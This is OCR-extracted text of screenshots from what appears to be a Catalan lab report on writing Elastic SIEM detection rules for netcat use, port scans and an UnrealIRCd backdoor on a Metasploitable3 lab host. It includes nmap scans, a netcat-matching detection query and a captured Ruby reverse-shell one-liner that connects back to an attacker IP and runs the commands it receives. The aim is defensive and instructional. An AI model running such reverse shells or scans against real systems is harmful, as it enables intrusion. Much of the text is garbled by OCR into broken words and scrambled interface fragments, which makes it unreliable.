× ٢	3 Untitled	Timeline	Description	□ Notes □ f	🗎 🛗 🗸 Last	24 hours	Show dates	ී Refresh රි
			Dro	pp anything highlighted	here to build a	n or query		
AND	Filter 🗸		process.name: (nc or ncat	t or netcat or netcat.oper	nbsd or netcat.tr	aditional) and event.action	: ("proc KQL	• Raw events 🗸
		🗐 — + A	dd filter					
≣	Columns @	@timestamp \	↓ message	event.c	category	event.action	host.name	sourc
	2 root	@ metas	sploitable3-ub1404 in E	# fdd56f8c6f60665	- nc (2580) 7bf310f3a626d477 2580) by user root	nc 192.168.43.142 81a1bd5d8 STARTED	4444 via paren	process (2134)
>	후 🗭 오 rou	Apr 11, 2020 ot @ elas	@ 13:40:55.376 Process n sticstack.mistic.lab in ☐	<pre>/root started process  //oot started process  //oot 08012273ada2bca // Process ncat (PID</pre>	- ncat (3509) abbe956c5dffeec9 : 3509) by user roo	process_started ncat localhost / 5e2c1e08ed t STARTED	elasticstac	k.mistic.lab II- rocess I (3491)
>	두 모 오 root	Apr 11, 2020 @ elastic	@ 13:38:45.376 Process n	icat (PID: 3475) by pot started process	(3475) (3371)	process_started	elasticstac	k.mistic.lab
9 🗸	of 9 Ev	ents					(	り Updated 1 minute ago

Captura	66:	Creació	de	regla	1
---------	-----	---------	----	-------	---

Create new rule	0
Image: Continue	
Image: Continue	
Image: Section 2.1           Image: Section 2.1 <td></td>	
Index patterns     C     Rest to default index patterns       Index patterns     Index patterns     Index patterns       Index patterns     Index patterns <td></td>	
Image: state of lasts: search indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.         Image: State of lasts: search indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.         Image: State of lasts: search indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.         Image: State of lasts: State of like of like of lasts: State of like of lasts: State of like of l	
Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default, these will include index patterns defined in SEM advanced settings.       Image: Section of EastCosearch indices where you would like this rule to run. By default these will include index patterns defined in SEM advanced settings. <td></td>	
Custom query     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline       Import query from saved timeline     Import query from saved timeline	
값 IP > process_name: (nc or neat or netcat or netcat.openbsd or netcat.traditional) and event.action: ("process_started") KQL · · · Add filter Continue	
단     ····································	l
් අව	
<sup>(2)</sup>	
Ф	
© 2 About rule	
0	
3 Schedule rule	

Captura 67: Creació de regla 2

Ζ 😐	SIEM / Detections / Signal detection rules / Create		© 🗹 🙂
۲	2 About rule		
1 1	Name		
50	utilitzacio_nc		
Â	Description		
	S'ha detectat la utilització del nc.		
⊕			je i
2			Time
6			_/_
2	Severity	Risk score	
ত্র	<ul> <li>Medium</li> </ul>	0 25 50 75 100 47	
and	Tags	Op	ional
9	Linux × Custom × Network ×		0
æ	Type one or more custom identifying tags for this rule. Press enter after each tag	g to begin a new one.	
0	> Advanced settings		
And a second		Continu	
		Continu	
=+			

# Captura 68: Creació de regla 3

K	D SIEM / Detections / Signal dete	ction rules / Create		0 🛛	e
		About rule	Ø Edit		
Ø	-				
ŝ		Name utilitzacio no	Risk score		
8		Description	Investigate detections using this timeline template		
		S'ha detectat la utilització del nc.	Default blank timeline		
8		Severity Medium	Tags	ſ	~
⊕		• Includin			ine
2					Time
5	3	Schedule rule		l	_
ē		Runs every			
ି		5 Minutes V			
P		Rules run periodically and detect signals within the specified time frame.			
Ÿ		Additional look-back time Optional			
÷		1 Minutes V			
۲		Adds time to the look-back period to prevent missed signals.			
		[	Create rule without activating it Create & activate rule		
⇒					

# Captura 69: Signal d'utilització nc

SIEM / Detections / Signal	s (SIEM Detections)									Ø	
🖫 🗸 Search					KQL 🛗 🗸	Last 24 hou	irs		Show dates	ී Refre	sh
🗑 – + Add filter											_
Signals (SIEM Detections)	External alerts										
	-										
Signal count								Stack by	signal.rule.risk_sc	ore 🗸	,
Showing: 5 signals											
3 - 2.6 - 2.2 -										<ul><li>21</li><li>47</li></ul>	0
1.8 1.4 1											
0.6											
04-11 14:00	04-11 17:00	04-11 20:00	04-11 23:00	04-12	02:00	04-12 05:00	04-12 08:00		04-12 11:00		
Signals									Open signals	Closed signal	s
olgi lais									., .,		
Showing 5 signals Selected 0 s	ignals <b>%</b> Close selected ↓ Rule	🔓 Select all 5 signal	Version	Method Se	verity R	isk Score	event.module	ev	ent.action	event.category	
🗌 😽 🔞 🗲    Apr 12, 2020	@ 12:32:22.278 utilitz	acio_nc	1	query	edium	47	system	p	rocess_started	-	

Captura 70: Port scan

<pre>root@kali:~# nmap 192.168.43.103 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-12 06:50 EDT Nmap scan report for 192.168.43.103 Host is up (0.00042s latency). Not shown: 992 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql</pre>	$\sim$
<pre>Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-12 06:50 EDT Nmap scan report for 192.168.43.103 Host is up (0.00042s latency). Not shown: 992 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql</pre>	
<pre>Nmap scan report for 192.168.43.103 Host is up (0.00042s latency). Not shown: 992 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql</pre>	
Host is up (0.00042s latency). Not shown: 992 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
Not shown: 992 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
PORTSTATESERVICE21/tcpopenftp22/tcpopenssh80/tcpopenhttp445/tcpopenmicrosoft-ds631/tcpopenipp3000/tcpclosedppp3306/tcpopenmysql	
21/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
22/tcp open ssh 80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
80/tcp open http 445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
445/tcp open microsoft-ds 631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
631/tcp open ipp 3000/tcp closed ppp 3306/tcp open mysql	
3000/tcp closed ppp 3306/tcp open mysql	
3306/tcp open mysql	
8181/tcp open intermapper	
MAC Address: 00:0C:29:CE:BC:F3 (VMware)	
Nmap done: 1 IP address (1 host up) scanned in 4.63 seconds root@kali:~# []	

### Captura 71: Alerta de port scan

Signals (SIEM Detections)	External alerts						
External alert coul Showing: 348 external alerts	nt					Stack by event.module	e ~
250 240 100 100 100 100 100 100 100 100 100 1	04.11 18:00	04-112100	04-12 00:00	04-12 03:00	04120500 04-120500	0.041717.00	• suricata
External alerts Showing: 348 external alerts							
iii @timestamp $\downarrow$	event.module	event.dataset	event.category	event.severity	observer.name	host.name	met
> Apr 12, 2020 @ 12:50:48.041	suricata	suricata.eve	network_traffic	2	I-	suricata.mistic.lab	Pote

Captura 72: Consulta de port scan



Captura	73:	Creació	de	regla	port	scan	1
---------	-----	---------	----	-------	------	------	---

SIE	M Detections / Signal detection rules / Create	0 1	e
	< Back to signal detection rules		
>			
i	1 Define rule		
	Index patterns C Reset to default index patterns		2
	Tebbeat-* ×		ine
	Custom query Import query from saved timeline		Timel
	😰 🗸 Search KQL		
	(     = timeline-filter-drop-area × + Add filter		
	Continue		
	2 About rule		
	3 Schedule rule		

Captura 74: Creació de regla port scan 2

K	D SIEM / Detections / Signal de	etection rules / Create		© 🗹 😐	^
		Index patterns	Filters timeline-filter-drop-area		
Ø					
ŝ					
80	2	About rule			I
(d))		Name		_	l
8		Port_Scan		2	1
⊕		Description		ine in the second se	l
2		Possible scan de Ports.		Time	l
5					
뎡					l
ି			h		l
9		Severity	Risk score		l
Ŷ		• Medium 🗸	0 25 50 75 100 60		l
÷		Tags	Optional		l
۲		Custom × Suricata × Type one or more custom identifying tags for this rule. Press enter after each	b tan to benin a new one		1
		Advanced cattings			
⇒		7 Auvanueu aettinga			

# Captura 75: Creació de regla port scan 3

K	D SIEM / Detections / Signal de	atection rules / Create		٥	e ^
		About rule	0 Edit		
0					
ŝ		Name Risk score			
80		Pol_Scall 00			
<u> </u>		Possible scan de Ports. Default blank timeline			
2		Severity Tags			2
Ð					je
2					Time
5	3	Schedule rule			
2		Runs everv			- 1
ୖ		5 Minutes V			- 1
9		Rules run periodically and detect signals within the specified time frame.			- 1
8		Additional look-back time Optional			- 1
ŵ		1 Minutes V			- 1
۲		Adds time to the look-back period to prevent missed signals.			- 1
		Create rule without activating it Create & activa	ate rule		- 1
⇒					

Captura 76: Signal de port scan

									-
🖫 🗸 Search				KQL	tii ✓ Last 24	4 hours	Show dates	් Refres	sh
) - + Add filter									
Signals (SIEM Detections) Extern	al alerts								
Signal count									
Showing: 12 signals							Stack by signal.rule.risk_s	core ~	
7									
6								<ul> <li>60</li> <li>21</li> </ul>	7 0
4								• 47	0
2									
0	04.45.20.00	04 # 22.00		02.00	04 12 05 00	04 #2 00.00	01101100		
04-1114:00 04-1117:00	04-1120:00	04-11 23:00	04-12	02.00	04-12 05:00	04-12 00:00	04-12 11:00		
Signals							IC Open signals	Closed signals	ŝ
Showing 12 signals Selected 0 signals	Close selected 🚺 Select a	II 12 signals							
□ III @timestamp ↓	Rule	Version	Method	Severity	Risk Score	event.module	event.action	event.category	

# 8.2.2.6. Anàlisi d'atacs

8.2.2.6.1. Metasploitable 3: Ubuntu 14

Captura 77: Realització del nmap

🛃 kali@kali: ~  $\times$ kali@kali:~\$ nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml 192.168.43.103 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-13 06:45 EDT Nmap scan report for 192.168.43.103 Host is up (0.0050s latency). Not shown: 65525 filtered ports VERSION PORT 21/tcp open 22/tcp open 22/tcp oper otocol 2.0) OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; pr 80/tcp open http 445/tcp open netb 631/tcp open ipp 3000/tcp closed ppp Apache httpd 2.4.7 netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL (unauthorized) WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28)) 3500/tcp open 6697/tcp open irc 8181/tcp open http UnrealIRCd 8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28)) Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Un ix, Linux; CPE: cpe:/o:linux:linux\_kernel Service detection performed. Please report any incorrect results at https://nmap .org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 94.38 seconds kali@kali:~\$ []

Captura 78: Elastic SIEM detecció d'alarmes

🕄 🗸 Searc	ch			KQL 🛗 🗸	Last 4 hours	Show dat	es C Refresh
🗑 – + Add fil	ter						
Externa	al alert count					Shark buy	at module by
Showing: 102 e	xternal alerts					Stack by eve	nt.module V
65						_	• eurleete
60 55 50							suncata
40 36 30 25							
20							
0	04-13 09:00 04-13 0	9:30 04-13 10:00	04-13 10:30	04-13 11:00	04-13 11:30 04-13 12	00 04 43 43 20	
						04-13 12.30	
						00 04-13 12.30	
Extorn						00 04-13 12.30	
Externa	al alerts					00 09-13 (£30	
Externa Showing: 102 e	al alerts					00 09-13 (2.30	
Externa Showing: 102 e ataset	al alerts xternal alerts event.category	event.severity	observer.name	host.name	message	agent.id	agent.type
Externa Showing: 102 e ataset a.eve	al alerts xternal alerts event.category in network.caraffic	event.severity	observer.name	host.name   suricata.mistic.lab	message Web Application Attack	agent.id	agent.type
Externa showing: 102 e ataset a.eve a.eve	al alerts event.category network_traffic network_traffic	event.severity	observer.name	host.name [suricata.mistic.lab ] suricata.mistic.lab	message Web Application Attack Web Application Attack	agent.id   004630d9-b869-46c2-a1   004630d9-b869-46c2-a1	agent.type filebeat filebeat
Externa Showing: 102 e ataset a.eve a.eve a.eve	al alerts  event.category  network_traffic  network_traffic  network_traffic	event.severity	observer.name	host.name   suricata.mistic.lab   suricata.mistic.lab   suricata.mistic.lab	message Web Application Attack Web Application Attack Web Application Attack	agent.ld [00463049-b869-46c2-a1 [00463049-b869-46c2-a1	agent.type filebeat filebeat filebeat

						_
Search		ка	L 🛗 🗸 Last 4 h	nours	Show date:	s ී <b>Refres</b>
- + Add filter						
Signals (SIEM Detections) External alerts						
Signals (SIEW Detections) External alerts						
Signal count					Stack by signal.rule.risk_	score 🗸
Showing: 10 signals					, ,	
10 —						
8						• 60
7						
5						
3						
0						
04-13 09:00 04-13 09:30	04-13 10:00 04-13 10:30	04-13 11:00	04-13 11:30	04-13 12:00	04-13 12:30	
Signals					Open signal	le Closed signals
Signals					Open signa	la closed signals
Showing 10 signals Selected 0 signals 🚳 Close selec	cted 🔀 Select all 10 signals					
li≣ @timestamp ↓ Rule	e Version	Method Severity	Risk Score	event.module	event.action	event.category
📄 💏 🍘 🔪 🛛 Apr 13, 2020 @ 12:50:47.339	rt_Scan 1	query mediu	n  60	suricata	i-	network_traffic
#         %         >         Apr 13, 2020 @ 12:50:47:339         Po           #         %         %         >         Apr 13, 2020 @ 12:50:47:338         Po	rt_Scan  1 rt_Scan 1 Captura 80:	query     mediu       query     mediu       transformed and tra	n leo A detall d'a	suricata suricata alarma	-  -	network_traffic
main         (Apr 13, 2020)@ 12:50:47339         (Po           main         (Apr 13, 2020)@ 12:50:47338         (Po           main         (Apr 13, 2020)@ 12:50:47338         (Po           SIEM / Detections / External alerts         (Apr 13, 2020)         (Apr 13, 2020)	rt_Scan  1 rt_Scan  1 Captura 80:	query mediu	A detall d'a	suricata suricata alarma	-  -	network_traffic
#	rt.Scan  1 rt.Scan  1 Captura 80:	query mediai	A detall d'a	suricata suricata alarma	-  -	inetwork_traffic
ñ	rr,Scan  1 rr,Scan  1 Captura 80:	query   mediu   query   mediu   Elastic SIEI	n  60 n  60 <i>A detall d'a</i>	suricata suricata alarma		i network_traffic i network_traffic © s C Refrest
matrix         (Apr 13, 2020 @ 12:50:47339         (Po           matrix         (Apr 13, 2020 @ 12:50:47338         (Po           SEEM / Detections / External alerts         (Po           >         Search         (Apr 14, 2020 @ 12:50:47338)           - + Add filter         (Po	rr,Scan  1 rr,Scan  1 Captura 80:	query   meduu   query   meduu   Elastic SIEI	n  60 n  60 A detall d'a	suricata suricata alarma		network_traffic network_traffic
Arr 13, 2020 @ 12-50-47.339         [Po           Arr 13, 2020 @ 12-50-47.338         [Po           SIEM / Detections / External alerts         [Vo           Search         [Vo           - + Add filter         [Eigetimestamp \$\u01c4\$)	event.dataset	query   mediu   query   mediu   Elastic SIEI   KC	n (60 n (60 A detall d'a L m Last 4 h	suricata suricata alarma nours	  - Show date: ame host.name	network_traffic
#	event.dataset	query   mediu   query   mediu   Elastic SIEL   KC	n (60 A detall d'a L m Last 4 P	suricata suricata alarma nours observer.n	I I Show date: ame host.name	network_traffic network_traffic
main         (Apr 13, 2020 @ 12:50:47339         (Po           main         (Apr 13, 2020 @ 12:50:47338         (Po           main         (Apr 13, 2020 @ 12:50:47338         (Po           SEEM / Detections / External alerts         (Apr 13, 2020 @ 12:50:47338         (Po           SEEM / Detections / External alerts         (Apr 13, 2020 @ 12:50:47338         (Po           V         Search         (Apr 14, 2020 @ 12:50:47338)         (Po           + Add filter         (Apr 14, 2020 @ 12:50:47338)         (Apr 14, 2020 @ 12:50:47338)         (Apr 14, 2020 @ 12:50:47338)           III         @timestamp ↓         event.module         (Apr 14, 2020 @ 12:50:47338)         (Apr 14, 2020 @ 12:50:47338)           III         @timestamp ↓         event.module         (Apr 14:50:473:473)         (Apr 14:50:473:473)	rt_Scan  1 rt_Scan  1 Captura 80: event.dataset  429  192.108.43.142	query   mediu   query   mediu   Elastic SIEL   KC	n (60 A detall d'a L C Last 4 h	i suricata i suricata alarma nours observer.n	I	network_traffic network_traffic
Image: Search         •   source.pytes         •   source.pytes         •   source.pytes	event.dataset 429 142 142 142 142 142 14 14 14 14 14 14 14 14 14 14 14 14 14	query   mediu   query   mediu   Elastic SIEL   KC	n (60 A (60 A detall d'a L C Last 4 h	suricata   suricata alarma nours	I I Show date:	network_traffic network_traffic
• Mor 13, 2020 @ 12:50:47:339 [Po            • Mor 13, 2020 @ 12:50:47:338 [Po            • SEEM / Detections / External alerts             • Search             • Add filter             • Search             • Jource bytes             • Jource bytes             • Jource port	event.dataset 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4	query   mediu   query   mediu   Elastic SIEI   KG event.category	n (60 A detall d'a L m Last 4 h	i suricata i suricata alarma nours	I	network_traffic network_traffic
Image: Signal and Sig	event.dataset           429           192.168.43.142           4           106.100 Cf           Web Application Attack.	query   mediu   query   mediu   Elastic SIEL     KC	n (60 A detall d'a	i suricata i suricata alarma nours	I	network_traffic network_traffic
#         (%)         [Apr 13, 2020 @ 12:50:47339         [Po           #         (%)         [Apr 13, 2020 @ 12:50:47338         [Po           SIEM / Detections / External alerts         (%)         (%)         (%)           V         Search         (%)         (%)         (%)           + Add filter         (%)         (%)         (%)         (%)           (#)         [source.po/tes         (%)         (%)         (%)           (#)         [source.port         (*)         [source.port         (*)           (#)         [source.port         (*)         [source.port         (*)           (#)         [source.port         (*)         [source.port         (*)	event.dataset  429  192.168.43.142  4  4  4  4  4  10  6  6  6  6  6  6  6  6  6  6  6  6  6	query   mediu   query   mediu   Elastic SIEI   KC	n (60 A detall d'a	i suricata i suricata alarma nours observer.n	I	network_traffic network_traffic
#         (%)         [Apr 13, 2020 @ 12:50:47339         [Po           #         (%)         [Apr 13, 2020 @ 12:50:47338         [Po           SEEM / Detections / External alerts         []         []         []           SEEM / Detections / External alerts         []         []         []           I < Search	event.dataset  429  192.108.43.142  4  41  41  200.07.30  2010.07  2010.07  20	query   mediu   query   mediu   Elastic SIEL   event.category	n (60 A detall d'a L M Last 4 h	i suricata i suricata alarma nours observer.n		network_traffic network_traffic
Image: Search       Image: Search         Image: Search	Int_Scan  1 Int_Scan  1 Captura 80: event.dataset  429  192.168.43.142  4  4106 C  Web Application Attack  1  2010.07.30  2010.07.30  2010.07.30	query   mediu   query   mediu   Elastic SIEL   KC	n (60 A (contraction) A detall d'a L m × Last 4 H event.severity	suricata   suricata alarma nours observer.n	I I Show date:	network_traffic network_traffic
Image: Second	event.dataset  429  429  192.168.43.142  4  4108 6  102.02.30  2010.07.30  5  ET SCAN Heap Scripting Epiping E	event.category	n (60 A (control of a control o	suricata   suricata alarma nours observer.n	I I Show date:	network_traffic network_traffic
#       (%)        Apr 13, 2020 (#) 12:50:47:339       [Po         #       (%)        Apr 13, 2020 (#) 12:50:47:338       [Po         SIEM / Detections / External alerts       (*)       Search       (*)         • Add filter       (*)       (*)       Search         • Add filter       (*)       (*)       (*)       (*)         (*)       Search       (*)       (*)       (*)         • Add filter       (*)       (*)       (*)       (*)         (*)       Source.bytes       (*)       (*	Intriscon   1 In	query   mediu   query   mediu   2 Elastic SIEI   KG   event.category	n (60 A detall d'a	i suricata i suricata alarma nours observer.n	I I Show date:	network_traffic network_traffic
Image: Source approximation of the second	rt.Scan  1  rt.Scan  1  rt.Scan  1 <b>Captura 80:</b> Captura 80:  429  429  429  429  429  429  420  420	query   mediu   query   mediu   Elastic SIEL   event.category   u User-Agent 	n (60 A detall d'a	i suricata i suricata alarma nours observer.n	I I Show date:	network_traffic network_traffic
Image: Source and Source	event.dataset  event.dataset  event.dataset  429  192.168.43.142  4  4  4  41  20  2010.07.30  5  Et SCAN Nmap Scripting Engin Detected (Nmap Scripting Eng	query   meduu   query   meduu   Elastic SIEL   event.category   e User-Agent  e)	n (60 A detall d'a	i suricata i suricata alarma nours observer.n	I I Show date:	network_traffic network_traffic
Image: Second	event.dataset  event.dataset  event.dataset  429  92.168.43.142  4  43  44  41  64  92.108.43.142  9  92.108.43.142  9  92.108.43.142  9  92.108.43.142  9  9  92.108.43.142  9  9  9  9  9  9  9  9  9  9  9  9  9	e Uter-Agent	n (60 A detall d'a L C / Last 4 h event.severity	i suricata i suricata alarma nours observer.n	I I Show date:	network_traffic network_traffic

## Captura 79: Elastic SIEM detecció signal



Load more

O Updated 1 minute ago

٢

⇒

 $_{25}\,\,{\scriptstyle\smile}\,$  of  $_{102}$  External alerts

•	Search					KQL	🛗 🗸 Apr 13, 20:	20 @ 12:47:00.00 → Apr 13, 20	020 @ 12:47:38.18	C Refresh
Ð	+ Add filter									
18	@timestamp $\psi$	mess	age host.name		event.modu	e	event.dataset	event.action	user.name	sou
>	Apr 13, 2020 @ 12:47:29.212	1-	metasploit	able3-ub1404	-		flow	network_flow	1-	19
			() 133.562148ms		16КВ   14 р	kts tcp	1:YUK/vNMFKmKSOQNq	bQBoPAGgUck=		
			<ul> <li>Apr 13, 2020 (12:47:27.824)</li> <li>Apr 13, 2020 (12:47:27.957)</li> </ul>	Source 192.168.43.142 :	57820 G	(3.48%)	70B   8 pkts 15.4KB   6 pkts -	> Destination 192.168.43.103 : \$3500 C		
>	Apr 13, 2020 @ 12:47:29.212	1-	metasploit	able3-ub1404	- 1		flow	network_flow	1-	19
			(F) 133 581608ms		1.2KB 1	pkts tcp	1:ILqwpRdbfOXArw6O	q5r7mgOxIsY=		
			() Apr 13, 2020 () 12:47:27.824 () Apr 13, 2020 () 12:47:27.957	Sour	ce :∦57822 ⊠	(28.80%) <	3668   5 pkts	Destination		
>	Apr 13, 2020 @ 12:47:29.212	1-	metasploit	able3-ub1404	1-		Iflow	network_flow	1-	19
			10 122 56050 Ame		1.4KB   9	pkts tcp	1:r/Og05ZPMFjDdOlbq	YefkbEhWLs=		
			() Apr 13, 2020 @ 12:47:27.824 () Apr 13, 2020 @ 12:47:27.957	Source 192.168.43.142	e : [46518 ]]	(24.90%) <  (75.109	3668    5 pkts ) 1.1KB    4 pkts	Destination		
>	Apr 13, 2020 @ 12:47:29.212	1-	metasploit	able3-ub1404	1-		flow	network_flow	[-	19
			(D) 112 406355ms		23.1KB   17	pkts tcp	1:bawikN49fpGHVuZS	KbrFUDWxgPs⊨		
			() Apr 13, 2020 () 12:47:27.711 () Apr 13, 2020 () 12:47:27.824	Source 192.168.43.142 :	57814 3	(3.30%) 7	828 9 pkts 22.4KB 8 pkts -	> Destination    192.168.43.103 :    3500 2		



### Captura 82: Elastic SIEM: timeline nmap

Captura 83: Importar informació de la Metasploit framework console



### Captura 84: Llistar serveis del Metasploit framework

🧬 kali@kali: ~						_		$\times$
msf5 > services	5							$\sim$
Services								
host	port	proto	name	state	info			
192.168.43.103	21	tcp	ftp	open	ProFTPD 1.3.5			
192.168.43.103	22	tcp	ssh	open	OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 Ubuntu Linux; j	protoc	ol 2.0	
192.168.43.103	80	tcp	http	open	Apache httpd 2.4.7			
192.168.43.103	445	tcp	netbios-ssn	open	Samba smbd 3.X - 4.X workgroup: WORKGROUP			
192.168.43.103	631	tcp	ipp	open	CUPS 1.7			
192.168.43.103	3000	tcp	ppp	closed				
192.168.43.103	3306	tcp	mysql	open	MySQL unauthorized			
192.168.43.103	3500	tcp	http	open	WEBrick httpd 1.3.1 Ruby 2.3.7 (2018-03-28)			
192.168.43.103	6697	tcp	irc	open	UnrealIRCd			
192.168.43.103	8181	tcp	http	open	WEBrick httpd 1.3.1 Ruby 2.3.7 (2018-03-28)			
msf5 > 🗌								
								$\sim$







	n diei ts						Q
🗈 🗸 Search				QL	nutes	Show dates	ී Refresh
) – + Add filter							
External alert cou	int						
Showing: 2 external alerts						Stack by event.module	
1 -		_			_		
0.9							<ul> <li>suricata</li> </ul>
0.6							
0.3 - 0.2 - 0.1							
0	-14 19:10	04-14 19:15	04-14 19:20	04-14 19:25	04-14 19:30	04-14 19:35	
External alerts							_
Showing: 2 external alerts							IC.
	event.module	event.dataset	event.category	event.severity	observer.name	host.name	messa
i (o)timestamb v	l curlente	suricata.eve	network_traffic	1	I-	suricata.mistic.lab	Potent
<ul> <li>Quimestamp ↓</li> <li>Apr 14, 2020 @ 19:29:43.172</li> </ul>	suncata						

Captura 87: Processos no comuns de l'unreal\_ircd\_3281\_backdoor 1

D SIEM / Hosts / metasploita	able3-ub14 / Uncommon processes		ØE
🗈 🗸 Search		KQL 🛗 🗸 Last 30 minutes	Show dates C Refresh
🗇 - + Add filter			
User autnentications		Unique IPS	
<ul> <li>O success</li> </ul>	× 0 fail	I7 source	I4 destination
All and the end of the sector	All orders and over a damage	Src.	14
All values returned	zero All values returned zero	Dest. 0 2 4 6 8 10 12	2 14 16 04-14 19:10 04-14 19:20 04-14 19:30
Authentications Uncom	mon processes Events External alerts		
Uncommon proc	esses		-
Showing: 2 processes			BC (
Process name	Instances. Last command	lastuser	
apache2	1	www-data	
ruby	2 ∦ruby +3 More	boba_fett	
			< 1 >

Captura 88: Processos no comuns de l'unreal\_ircd\_3281\_backdoor 2

🗄 🗸 Search	KQL 🛗 🗸 Last 30 minutes	Show dates C Refresh
🔊 — + Add filter		
User autnentications	Unique iPs	
✓ 0 success × 0 fail	I7 source	14 destination
	Sec.	
Ali values returned zero Ali values returned zero	Dest.	04-14 19 10 04-14 19 20 04-14 19 30
Authentications Uncommon processes Events External alerts		
Showina: 2 processes		ର
erocess n apache2 -rsocket -e	rser r-data	
exit if fork;c=TCPSocket.new("192.168.43.142","2345");while(cmd=c.gets);I0.popen(cmd,"     Index	r"}{[io c.print io.read}end	
LUDY CONTRACTOR OF A CONTRACTOR OFTA CONTRACTO	d	



Captura 89: Timeline del port 2345 unreal\_ircd\_3281\_backdoor 1

() Updated 3 minutes ago

1  $\checkmark$  of 1 Events

⇒ Events

D SIEM / D	Detections / Signal det	ection rules / Create										
		Define rule						/ Edit				
								-				
		Index patterns auditbeat-*			Custom process	query .args: ruby and pr	ocess.args: "-rsocket					
		About rule						🧷 Edit				Γ
		Name BackDoor-Ruby			Risk sco	ore						
		Description			Investig	ate detections u	using this timeline t	emplate				l
		BackDoor-Ruby			Default b	lank timeline						
		Severity Critical			Tags Backdoo	r Linux Ruby						
		_ 011100										
	3	Schedule rule						Ø Edit				
		Runs every										
		5 Minu	ites 🗸									
			100									
SIEM (D	Datactione Signals (S	Rules run periodically a	nd detect signals within the s	specified time frame. gnal d'uni	real_irc	:d_3281	_backdoo	r				2
D SIEM / D	Detections / Signals (S	Rules run periodically a	nd detect signals within the s	apecified time frame.	real_irc	cd_3281_	_backdoo	r	Show dates	C R	© E	2
SIEM / D	Detections / Signals (S ch Iter	Rules run periodically a	nd detect signals within the s	specified time frame.	real_irc	ed_3281_	_backdoo	<b>r</b> s	Show dates	ି ନ	© E	2
<ul> <li>SIEM / D</li> <li>III → Searce</li> <li>III → Searce</li> <li>III → Add fill</li> <li>SIGNAL</li> </ul>	Detections / Signals (S ch Iter COUINL	Rules run periodically a	nd detect signals within the s	apecified time frame.	real_irc	ed_3281_ ≝ ∼ Last 30 m	_backdoo	r S	Show dates	ି ନ	lefresh	2
SIEM         D           Siem         Searce           Image: Signal Constraints         Singnal Constraints	Detections / Signals (S ch Itter COUNL mais	Rules run periodically a	nd detect signals within the s	ipecified time frame.	real_irc	ed_3281_ ≣ ∽ Last 30 n	_backdoo.	۲ Stack by signa	Show dates	ී R ore	© E lefresh	2
Image: Signal (         Signal (           Image: Signal (         Signal (           Showing: 2 signal (         Showing: 2 signal (	Detections / Signats (S ch tter COUNT COUNT	Rules run periodically a	nd detect signals within the s	ipecified time frame.	real_irc	ed_3281_	_backdoo.	۲ Stack by signa	Show dates	ि R ore	C C Refresh	
